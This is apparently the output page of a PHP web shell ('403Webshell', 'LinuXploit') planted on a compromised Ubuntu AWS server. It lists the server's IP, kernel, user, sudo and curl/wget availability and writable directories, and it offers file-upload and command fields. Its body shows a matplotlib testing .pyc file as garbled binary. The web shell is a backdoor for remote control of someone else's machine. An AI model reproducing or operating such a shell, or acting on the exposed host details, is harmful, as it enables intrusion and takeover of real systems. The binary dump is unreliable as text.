403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/testing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/testing/__pycache__/__init__.cpython-312.pyc
�

G8�c����dZddlmZddlmZddlZddlZddlZddlZddl	Z	ddl
Zddl
mZeje�Zd�Zd�Zd�Zdd	�d
�Zd�Zd�Zy)
z
Helper functions for testing.
�)�Path)�TemporaryDirectoryN)�_apic�v�dtjd<dtjd<dtjd<y)NzDejaVu Sanszfont.family�noneztext.hinting�ztext.hinting_factor��mpl�rcParams���=/usr/lib/python3/dist-packages/matplotlib/testing/__init__.py�set_font_settings_for_testingrs-��"/�C�L�L���#)�C�L�L�� �*+�C�L�L�&�'r
c�*�dtjd<y)N�
matplotlibzsvg.hashsaltr	rr
r�set_reproducibility_for_testingrs��#/�C�L�L�� r
c���	tjtjd�t
jd�tj�5t
j�ddd�t�t�y#tj$rW	tjtjd�n.#tj$rtjd�YnwxYwY��wxYw#1swY��xYw)Nzen_US.UTF-8zEnglish_United States.1252zPCould not set locale to English/United States. Some date-related tests may fail.�Agg)
�locale�	setlocale�LC_ALL�Error�_log�warningr
�user�'suppress_matplotlib_deprecation_warning�
rcdefaultsrrrr
r�setuprs���5�������
�6��G�G�E�N�	
�	5�	5�	7�������
"�#�#�%��!�<�<�5�	5����V�]�]�,H�I���|�|�	5��L�L�4�
5�	5��5����sA�$B�C.�C+�$B:�9C+�:(C%�"C+�$C%�%C+�*C+�.C7)�	extra_envc��|j}|j}tjtj
dd|�d|�d|�d�g|�itj�ddi�|xsi�|dtjtjd�	�}|S)
a�
    Run a function in a sub-process.

    Parameters
    ----------
    func : function
        The function to be run.  It must be in a module that is importable.
    *args : str
        Any additional command line arguments to be passed in
        the first argument to ``subprocess.run``.
    extra_env : dict[str, str]
        Any additional environment variables to be set for the subprocess.
    z-czfrom z import z; z()�SOURCE_DATE_EPOCH�0T)�env�timeout�check�stdout�stderr�universal_newlines)	�__name__�
__module__�
subprocess�run�sys�
executable�os�environ�PIPE)�funcr$r�args�target�module�procs       r�subprocess_run_helperr75s����]�]�F�
�_�_�F��>�>�	���	
��������6�(�"�	5�	��	�
J�r�z�z�I�.��I�	��R�I��t��������	!�D��Kr
c�T�t�5}t|d�}|jdd��	tj|dt|�g|tjtj��	ddd�y	#ttjf$rYddd�ywxYw#1swYyxYw)
z�
    Check if a given TeX system + pgf is available

    Parameters
    ----------
    texsystem : str
        The executable name to check
    ztest.texz�
            \documentclass{article}
            \usepackage{pgf}
            \begin{document}
            \typeout{pgfversion=\pgfversion}
            \makeatletter
            \@@end
        zutf-8)�encodingz-halt-on-error)�cwdr&r'NFT)	rr�
write_textr+�
check_call�str�DEVNULL�OSError�CalledProcessError)�	texsystem�tmpdir�tex_paths   r�_check_for_pgfrDRs���
�	�����
�+�������	�	�	��!�!��,�c�(�m�<�&�!�)�)�*�2D�2D�
F�
�!�����6�6�7�	����	����s/� B�AA7�-B�7B�B�B�B�B'c�h�	tjj|�d��y#t$rYywxYw)Nz.styTF)r
�dviread�_find_tex_file�FileNotFoundError)�packages r�_has_tex_packagerJns5������"�"�g�Y�d�#3�4�������s�"%�	1�1)�__doc__�pathlibr�tempfilerr�loggingr/r+r-rr
r�	getLoggerr)rrrrr7rDrJrr
r�<module>rPs\����'�
��	��
����w����"��,�0�&�2;?��:�8r

Youez - 2016 - github.com/yon3zu
LinuXploit